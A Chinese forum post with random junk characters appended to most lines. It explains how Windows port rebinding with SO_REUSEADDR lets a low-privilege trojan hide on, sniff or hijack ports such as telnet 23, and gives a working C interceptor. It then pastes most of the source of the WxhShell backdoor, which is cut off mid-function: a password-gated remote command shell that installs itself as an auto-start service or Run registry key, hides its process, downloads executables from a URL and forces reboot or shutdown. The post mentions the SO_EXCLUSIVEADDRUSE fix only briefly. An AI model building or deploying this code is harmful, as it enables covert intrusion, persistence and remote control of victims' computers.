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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: G; C8Kde  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )C>}"#J>  
-".kH<SWv  
  saddr.sin_family = AF_INET; mA(nyF  
"mPSA Z  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); mPs%ZC  
m!5HRjOO  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); SqXy;S@  
%'L].+$t  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 djsz!$  
eQU-&-wt0  
  这意味着什么?意味着可以进行如下的攻击: Q`S iV  
V(;55ycr  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 m7r j>X Y  
W?qpnPW  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) x0\e<x9s  
-uA3Y  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Z}8k[*.  
48tcgFg[  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  M*5,O   
`]`=]*d  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 M=5d95*-}  
]?0{(\  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Nfv="t9e  
K,f* SXM  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 \G$QNUU  
@[MO,J&h  
  #include k SB  
  #include + a-wv  
  #include #K=b%;>  
  #include    N;-/wip  
  DWORD WINAPI ClientThread(LPVOID lpParam);   X"h%tsuw  
  int main() -7>^ rR V  
  { {TyCj?3B  
  WORD wVersionRequested; 1.'(nKoq  
  DWORD ret; Dv<wge`  
  WSADATA wsaData; AL>c:K)qO  
  BOOL val; -$+,]t^GV  
  SOCKADDR_IN saddr; CifA,[l34  
  SOCKADDR_IN scaddr; x3Nkp4=Xd  
  int err; 4|[<e-W  
  SOCKET s; izMYVI?0  
  SOCKET sc; EjWgaV  
  int caddsize; 1ZT^)/G  
  HANDLE mt; Wrmgu}q  
  DWORD tid;   u`'ki7LA  
  wVersionRequested = MAKEWORD( 2, 2 ); >M?H79fF2s  
  err = WSAStartup( wVersionRequested, &wsaData ); !|:RcH[  
  if ( err != 0 ) { 7\mDBG  
  printf("error!WSAStartup failed!\n"); :?HSZocf  
  return -1; r5o@+"!  
  } Iq{o-nq  
  saddr.sin_family = AF_INET; -=>sTMWpr  
   Hx$.9'Oq\Q  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 L-#e?Y}$J  
(O$}(Tn  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); D=$4/D:;  
  saddr.sin_port = htons(23); O!;H}{[dg  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) r0>q%eM8  
  { zhNQuK,L  
  printf("error!socket failed!\n"); ?-e7e %  
  return -1; WtIMvk  
  } }N?g|  
  val = TRUE; ?TDvCL  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 mge#YV::  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) n_v02vFAHT  
  { hM?`x(P  
  printf("error!setsockopt failed!\n"); i8K_vo2Z)  
  return -1; '|Qd0,Z  
  } _B)s=Snx  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 2Kjrw;  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 o&~dGG4J  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ;;:">@5  
)X/*($SuA  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) >tN5vWW  
  { wHf&R3fg  
  ret=GetLastError(); %NNj9Bl<VV  
  printf("error!bind failed!\n"); DKX/W+#a  
  return -1; kP@H G<~  
  } IXnb]q.  
  listen(s,2); rn;<HT  
  while(1) /iplU  
  { $]C=qM28-  
  caddsize = sizeof(scaddr); le.anJAr  
  //接受连接请求 :vpl+)n  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); xA92 C  
  if(sc!=INVALID_SOCKET) H ( vx/q  
  { /0(%(2jIWl  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); *ot> WVB  
  if(mt==NULL) @K\o4\  
  { sm0fAL  
  printf("Thread Creat Failed!\n"); GMl"{ Oxo&  
  break; JnY$fs*"  
  } ;`DD}j`  
  } Xh?4mKgu  
  CloseHandle(mt); P$_&  
  } K4:  $=  
  closesocket(s); +~N!9eMc  
  WSACleanup(); =~&VdPZ  
  return 0; YxXq I  
  }   9UV9h_.x  
  DWORD WINAPI ClientThread(LPVOID lpParam) HmMO*k<6@  
  { ! D$Ooamq  
  SOCKET ss = (SOCKET)lpParam; "tUwo(K[  
  SOCKET sc; hUh+JW  
  unsigned char buf[4096]; SrFx_n  
  SOCKADDR_IN saddr; |d[5l^6  
  long num; Q=WySIF.  
  DWORD val; lCR!:~  
  DWORD ret; nob0T5G  
  //如果是隐藏端口应用的话,可以在此处加一些判断 M ,`w A  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   j C)-`_  
  saddr.sin_family = AF_INET; 5MR,UgT  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Sm)u9  
  saddr.sin_port = htons(23); V7EQ4Om:It  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5X#E@3g5  
  { +y/55VLq  
  printf("error!socket failed!\n"); \|.7-X  
  return -1; ,beS0U]  
  } yrnv!moc%t  
  val = 100; `rlk|&T1  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0]B(a  
  { ?^}_j vT  
  ret = GetLastError(); 7b,(\Fm  
  return -1; ZIDbqQu  
  } i)M EK#{  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) FH8k'Hxg  
  { 2Q@Y^t   
  ret = GetLastError(); y\D=Z N@  
  return -1; 0mTr-`s  
  } eklgLU-+fW  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ]n;1x1'  
  { vQ1 v# Z  
  printf("error!socket connect failed!\n"); QTH7grB2v  
  closesocket(sc); u#@RM^738d  
  closesocket(ss); 2z\e\I  
  return -1; (5a1P;_Y  
  } rQb7?O@-  
  while(1) ; b*i3*!g  
  { Y%@hbUc}x9  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 \vRd}   
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 GSi>l,y'  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 "hQgLG  
  num = recv(ss,buf,4096,0); #$E)b:xj  
  if(num>0) T]9m:z X9s  
  send(sc,buf,num,0); ((bTwx  
  else if(num==0) [ c~kF+8  
  break; uOd& XW  
  num = recv(sc,buf,4096,0); K\u_Ji]k  
  if(num>0) =n+ \\D  
  send(ss,buf,num,0); eTbg7"waA  
  else if(num==0) A%X X5*  
  break; rS7)6h7(7  
  } F9a^ED0l\  
  closesocket(ss); r^1+cwy/7P  
  closesocket(sc); 02=lsV!U  
  return 0 ; r@kP*  
  } ~TqT }:,H  
'V (,.'  
ok{!+VCB5  
========================================================== esX)"_xf  
M'L;N!1A  
下边附上一个代码,,WXhSHELL ++jAz<46  
Ln!A:dP}c-  
========================================================== [9o4hw  
k XrlSaIc  
#include "stdafx.h" KOh A)  
a`!@+6yC  
#include <stdio.h> Y`BRh9Sa  
#include <string.h> (V?:]  
#include <windows.h> z~{&}Em ~  
#include <winsock2.h> U*)m' ,  
#include <winsvc.h> oD.r `]k  
#include <urlmon.h> ;j%BK(5  
A/}W&bnluD  
#pragma comment (lib, "Ws2_32.lib") Vsnuy8~k  
#pragma comment (lib, "urlmon.lib") S/tIwG ~e3  
Ig6T g ?  
#define MAX_USER   100 // 最大客户端连接数 :j^FJ@2_  
#define BUF_SOCK   200 // sock buffer x@KZ ]  
#define KEY_BUFF   255 // 输入 buffer i'#Gy,R  
4 %W:  
#define REBOOT     0   // 重启 F?-R$<Cn2~  
#define SHUTDOWN   1   // 关机 &ldBv_  
/i]y$^  
#define DEF_PORT   5000 // 监听端口 ,9D+brm  
Qf$|_&|  
#define REG_LEN     16   // 注册表键长度 x@Hd^xH`  
#define SVC_LEN     80   // NT服务名长度 .2) =vf'd  
04U")-\O  
// 从dll定义API Y>+y(ck  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); N!2Rl  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); nh>K`+>co  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); cV{o?3<:B  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); F4L;BjnJ  
o*rQP!8,oy  
// wxhshell配置信息 x1&W^~  
struct WSCFG { 6CbxuzYer  
  int ws_port;         // 监听端口 $~;D9  
  char ws_passstr[REG_LEN]; // 口令 -E"GX  
  int ws_autoins;       // 安装标记, 1=yes 0=no GH1"xR4!  
  char ws_regname[REG_LEN]; // 注册表键名 [`RX*OH2  
  char ws_svcname[REG_LEN]; // 服务名 s?R2B)a  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 u8GMUN  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 cWyW~Ek  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `n5"0QRd  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Uyx!E4pl(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~@.%m"<.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3&&9_`r&_  
j hbonuV_  
}; )lk&z8;.=  
0 &_UH}10  
// default Wxhshell configuration j z58E}  
struct WSCFG wscfg={DEF_PORT, Y5ZZ3Ati  
    "xuhuanlingzhe", 6Htg5o|W  
    1, F# T 07<  
    "Wxhshell", ^z6_Uw[  
    "Wxhshell", jh2t9SI~  
            "WxhShell Service", 4;`oUt'.  
    "Wrsky Windows CmdShell Service", V'*~L\;pU  
    "Please Input Your Password: ", !`41q=r  
  1, l>*"mh  
  "http://www.wrsky.com/wxhshell.exe", y\dEk:\)  
  "Wxhshell.exe" UhA"nt0  
    }; @c9^q> Uv  
R218(8S  
// 消息定义模块 k@ZLg9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xj5;: g#!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; YW u cvw&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ABE@n%|`  
char *msg_ws_ext="\n\rExit."; : G\<y  
char *msg_ws_end="\n\rQuit."; Tm_B^ W}  
char *msg_ws_boot="\n\rReboot..."; b2b?hA'k  
char *msg_ws_poff="\n\rShutdown..."; om?-WJI  
char *msg_ws_down="\n\rSave to "; |sRipWh  
)q7UxzE+  
char *msg_ws_err="\n\rErr!"; m<FOu<y  
char *msg_ws_ok="\n\rOK!"; PxH72hBS  
D?XM,l+  
char ExeFile[MAX_PATH]; J Ro?s~Ih  
int nUser = 0; (jU6GJRP  
HANDLE handles[MAX_USER]; 0c K{  
int OsIsNt; ;22oY>w  
m3Il3ZY.  
SERVICE_STATUS       serviceStatus; otggN:^Qw  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [kE."#  
7i&:DePM'q  
// 函数声明 !,V{zTR  
int Install(void); 5waKI?4F  
int Uninstall(void); ^&y$Wd]6  
int DownloadFile(char *sURL, SOCKET wsh); \]$IDt(s  
int Boot(int flag); ( =~&+z  
void HideProc(void); Xd^\@  
int GetOsVer(void); .{y uo{u  
int Wxhshell(SOCKET wsl); KM^ufF2[  
void TalkWithClient(void *cs); y~()|L[  
int CmdShell(SOCKET sock); ME'|saP  
int StartFromService(void); _6 ay-u  
int StartWxhshell(LPSTR lpCmdLine); k'0Pi6  
6G=j6gK%P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^%O]P`$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); V5*OA??k<  
\=_{na_  
// 数据结构和表定义 Y ')x/H  
SERVICE_TABLE_ENTRY DispatchTable[] = 6k#Jpmmr  
{ !%$`Eq)M^7  
{wscfg.ws_svcname, NTServiceMain}, y!!2WHvE  
{NULL, NULL} L:@7tc.  
}; S)D nPjN{  
pb~pN  
// 自我安装 +TXX$)3%  
int Install(void) M)SEn/T-  
{ 8#vc(04(  
  char svExeFile[MAX_PATH]; ;G%R<Z  
  HKEY key; yn#X;ja-  
  strcpy(svExeFile,ExeFile); l\C.",CEcc  
nqLA}u4IM  
// 如果是win9x系统,修改注册表设为自启动 `r?7oxN  
if(!OsIsNt) { K4kMM*D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fkac_X$7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *QH28%^  
  RegCloseKey(key); ynbuN x*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AM!G1^c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =Q\r?(Iy  
  RegCloseKey(key); D*lKn62  
  return 0; K5lmVF\$P  
    } jYKor7KTqT  
  } Cg(Y&Gxf.  
} X 7rMeu  
else { >p"c>V& 8  
55z]&5N  
// 如果是NT以上系统,安装为系统服务 R rda# h^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); rW=Z>1  
if (schSCManager!=0) AJ=qna  
{ EVGt 5z  
  SC_HANDLE schService = CreateService +llR204  
  ( !jTcsN%  
  schSCManager, Y=Kc'x[,Zj  
  wscfg.ws_svcname, "men  
  wscfg.ws_svcdisp, x@ms  
  SERVICE_ALL_ACCESS, _fKou2$yz  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , xoN3  
  SERVICE_AUTO_START, i*Z" Me  
  SERVICE_ERROR_NORMAL, <*qnY7c&N;  
  svExeFile, #?S^kM-0  
  NULL, 6ZP"p<xX  
  NULL, %rv7Jy   
  NULL, t;}:waZD  
  NULL, Fx2bwut.K  
  NULL yPal<c  
  ); 9?SZNL['V  
  if (schService!=0) U[ 0=L`0e  
  { JT!9\i  
  CloseServiceHandle(schService); sr{a(4*\  
  CloseServiceHandle(schSCManager); V{!J-nO  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *+#8mA(  
  strcat(svExeFile,wscfg.ws_svcname); J|qZ+A[z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ax<?GjpM  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hbY5l}\5  
  RegCloseKey(key); N'GeHByIT  
  return 0; .?loO3 m  
    } :s7m4!EF  
  } M r5v<  
  CloseServiceHandle(schSCManager); c_4[e5z  
} ^y<<>Y'I  
} 0"pAN[=K@  
!]=d-RGNe  
return 1; N$U$5;r~`  
} NeE t  
q-}Fvel u  
// 自我卸载 lIW }EM  
int Uninstall(void) xwq+j "  
{ =ACVE;L?  
  HKEY key; q!|*oUW  
$}!p+$  
if(!OsIsNt) { ?j"KV_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?B2] -+Y  
  RegDeleteValue(key,wscfg.ws_regname); E2Q[ZoVS  
  RegCloseKey(key); !1$])VQWI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~Vr.J}]J  
  RegDeleteValue(key,wscfg.ws_regname); )p<ExMIxd  
  RegCloseKey(key); gaZu;t2u  
  return 0; -;^j:L{   
  } n $$SNWgM  
} tp63@L|Q  
} d?A 0MKnl  
else { tFp Ygff<  
K<>oa[B9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); z=q3Zo  
if (schSCManager!=0) iO|se:LY<  
{ hoK>~:;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .y!<t}  
  if (schService!=0) 9_Be0xgJ3^  
  { RO 4Z?tz  
  if(DeleteService(schService)!=0) { e4? >-  
  CloseServiceHandle(schService); RBs-_o+%  
  CloseServiceHandle(schSCManager); Vf] "L .G  
  return 0; A#EDk U,  
  } t/VD31  
  CloseServiceHandle(schService); l`#4KCL(  
  } `p2+&&]S  
  CloseServiceHandle(schSCManager); *Q ?tl\E  
} VY |_d k  
} t*Sa@$p  
I ?gSG*m  
return 1; (nf~x  
} Z2qW\E^_r  
/5(Yy}  
// 从指定url下载文件 Azl&mu  
int DownloadFile(char *sURL, SOCKET wsh) n"G&ENN"$  
{ }`% *W`9b  
  HRESULT hr; J&W)(Cf  
char seps[]= "/"; 3@dL /x4A  
char *token; n<O}hM ZT  
char *file; 2bw_IT  
char myURL[MAX_PATH]; !dyXJ Q  
char myFILE[MAX_PATH]; <>y;.@}Q  
itBwCIjG  
strcpy(myURL,sURL); -GhP9; d  
  token=strtok(myURL,seps); [q?<Qe  
  while(token!=NULL) ,|y:" s  
  { WrQDX3  
    file=token; hI]Hp3S  
  token=strtok(NULL,seps); B-ngn{Yc   
  } ?XrQ53  
_(%d(E2?  
GetCurrentDirectory(MAX_PATH,myFILE); <D<4BnZ(  
strcat(myFILE, "\\"); "p_J8  
strcat(myFILE, file);  oM2l-[-  
  send(wsh,myFILE,strlen(myFILE),0); Wh+{mvu#  
send(wsh,"...",3,0); I&}L*Z?`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); e!N:,`R 5  
  if(hr==S_OK) ]zE;Tw.S  
return 0; [^Os kJ4  
else *W,]>v0%T  
return 1; $PTP/^  
m0ER@BXRn  
} {o_X`rgrL  
_=_Px@<Q  
// 系统电源模块 ,J,/."Y  
int Boot(int flag) 1+szG1U=  
{ = RA /  
  HANDLE hToken; DS+}UO  
  TOKEN_PRIVILEGES tkp; :ubV};  
4>F'oqFF  
  if(OsIsNt) { 0m%|U'm|j  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ub^h&= \S  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~ $Tkn_w#  
    tkp.PrivilegeCount = 1; <"{qk2LS1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Uzz'.K(Mv|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); rI= v  
if(flag==REBOOT) { be]bZ 1f  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Tl(^  
  return 0; F, W~,y  
} TSTl+W  
else { 1"zDin!A  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Dv|#u|iw  
  return 0; bLlKe50  
} G_;)a]v8)  
  } Sj]T   
  else { !\nBh  
if(flag==REBOOT) { 6G1@smP  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) v\KA'PmiP  
  return 0; .AR#&mL9  
} d4u})  
else { t2/#&J]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6IBgt!=,  
  return 0; ]op}y0  
} 7mI:| G  
} D^yRaP*|7  
=5J7Hw&K  
return 1; e<3K;Q  
}  aC$B2  
aZ2!i  
// win9x进程隐藏模块 ]NUl9t*N4  
void HideProc(void) JlH&??  
{ K(q+ "  
]$ L|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 'n{Nvt.c  
  if ( hKernel != NULL ) +c(zo4nZ  
  { ^T*?>%`  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); iq8Grd L"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {IxA)v-`  
    FreeLibrary(hKernel); AqWUwK9T  
  } v*'^r)Q[p  
LxYrl-  
return; xQ}pu2@d  
} F<n3  
,F79xx9ufg  
// 获取操作系统版本 .Zn^Nw3  
int GetOsVer(void) l==``  
{ ( }{G`N>.{  
  OSVERSIONINFO winfo; uD\?(LM  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <v)1<*I  
  GetVersionEx(&winfo); DK$X2B"cV  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1pt%Kw*@j  
  return 1; _wTOmz%|R  
  else sPr~=,F  
  return 0; m_.>C  
} PH1p2Je  
-8; 7Sp1  
// 客户端句柄模块 bSiYHRH.e  
int Wxhshell(SOCKET wsl) #r#1JtT  
{ T=iJGRctB  
  SOCKET wsh; Id_2PkIN$~  
  struct sockaddr_in client; r"C  
  DWORD myID; SQ44  
^Y=\#-Dd  
  while(nUser<MAX_USER) k3u "A_"c  
{ G0/4JSH  
  int nSize=sizeof(client); Mmxlp .l  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5*+!+V^?X  
  if(wsh==INVALID_SOCKET) return 1; (zgW%{V@  
0xxg|;h.,g  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); d6'{rje(  
if(handles[nUser]==0) c9HrMgW  
  closesocket(wsh); n!NS(. o  
else tXoWwQD;Y  
  nUser++; q;R],7Re  
  } ;|p BFKx  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,=UK}*e"  
E0Y-7&Fv  
  return 0; RTE8Uq36  
} RP~|PtLw_  
tmv&U;0Z  
// 关闭 socket Fpm|_f7  
void CloseIt(SOCKET wsh) y`\@N"Cf  
{ fa++MNf}3  
closesocket(wsh); Ir {OheJ  
nUser--; ruc++@ J@  
ExitThread(0); xAK6pDp  
} lt ^GvWg  
FoNSM$x  
// 客户端请求句柄 2/?`J  
void TalkWithClient(void *cs) mR&H9 NG  
{ c#|raXGT  
nH`Q#ZFz]?  
  SOCKET wsh=(SOCKET)cs; {t0) q  
  char pwd[SVC_LEN]; =7w\ 7-.m  
  char cmd[KEY_BUFF]; 9Xj7~,  
char chr[1]; 19HM])Zw\  
int i,j; f({Ei`|  
{{B%f.   
  while (nUser < MAX_USER) { ix([mQg  
q#T/  
if(wscfg.ws_passstr) { 01}C^iD  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q~OxH'>>(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qCljo5Tq'  
  //ZeroMemory(pwd,KEY_BUFF); 8"U. Hnu  
      i=0; Fgp]l2*  
  while(i<SVC_LEN) { mp=z  
!D@ZYK;  
  // 设置超时 i&5XF  
  fd_set FdRead; H=g`hF]`  
  struct timeval TimeOut; C"!gZ8*\!9  
  FD_ZERO(&FdRead); o9JMH.G  
  FD_SET(wsh,&FdRead); v*;-yG&  
  TimeOut.tv_sec=8; ex::m&  
  TimeOut.tv_usec=0; ]b\yg2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); q?4p)@#   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -n=^U  
SSPHhAeH8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }])oM|fgO  
  pwd=chr[0]; <R''oEf9  
  if(chr[0]==0xd || chr[0]==0xa) { j7jCm:  
  pwd=0; lwrC pD .  
  break; rf>0H^r  
  } UmKI1l  
  i++; UJM1VAJ0  
    } + Af"f' )  
`-(|>5wWS  
  // 如果是非法用户,关闭 socket s$cK(S#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); g+pml*LJ  
} YE|SKx@  
H,DM1Z9rz  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {[+mpKq  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;A]@4*q  
 f4Xk,1Is  
while(1) { >4#)r8;dx  
^Pbk#|$rU  
  ZeroMemory(cmd,KEY_BUFF); WU quN  
%k;|\%B`  
      // 自动支持客户端 telnet标准   yzerOL  
  j=0; ~$)2s7 O  
  while(j<KEY_BUFF) { q1Q L@Ax  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =p*]Az  
  cmd[j]=chr[0]; 9QDFEYG  
  if(chr[0]==0xa || chr[0]==0xd) { LIcM3_.  
  cmd[j]=0; \.-}adKg  
  break; NYrQ$N"  
  } bn!HUM,  
  j++; lfqiyYFm  
    } j@SQ~AS  
nEJY5Bz$  
  // 下载文件 bgK'{_o-  
  if(strstr(cmd,"http://")) { j!U-'zJ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); V:VO[e<e  
  if(DownloadFile(cmd,wsh)) S/9DtXQ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); yXHUJgjl/  
  else >'&p>Ad)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xlA$:M&  
  } !bN*\c  
  else { "|qqUKJZ  
Zc W:6po>  
    switch(cmd[0]) { hRUhX[  
  *7ZN]/VRT  
  // 帮助 6YGubH7%_  
  case '?': { `HZ;NRr  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \$*7 >`k  
    break; }a/x._[s  
  } y:~ZLTAv  
  // 安装 TFkZpe;  
  case 'i': { M$/|)U'W  
    if(Install()) v(ZYS']d2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l'/R&`-n  
    else e=B|==E10M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MP_ ~<Q  
    break; 57umx`m  
    } ABD)}n=%c  
  // 卸载 lT&eJO~?5  
  case 'r': { q*_/to  
    if(Uninstall()) JM x>][xD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y5?RVlKJ  
    else :6vm+5!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); * +"9%&?  
    break; G Uon/G8  
    } BJM.iXU)[  
  // 显示 wxhshell 所在路径 '8!Y D?n  
  case 'p': { $$ Oey)*  
    char svExeFile[MAX_PATH]; WvBc#s-  
    strcpy(svExeFile,"\n\r"); a yCY~=i  
      strcat(svExeFile,ExeFile); G6/p1xy>o:  
        send(wsh,svExeFile,strlen(svExeFile),0); -likj# Z  
    break; b{L/4bu  
    } WD]p U  
  // 重启 ~<_2WQ/$  
  case 'b': { 3I)VHMC  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); S?{#r  
    if(Boot(REBOOT)) K{|p~B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *>|gxM8  
    else { gW>uR3Ca4  
    closesocket(wsh);  gQ'zW  
    ExitThread(0); oU056  
    } g!lWu[d  
    break; $Tu61zq  
    } i V'k}rXC  
  // 关机 N/ %WsQp  
  case 'd': { /178A;J y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); H*ow\ Ct  
    if(Boot(SHUTDOWN)) 'p> Ra/4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mZSD(  
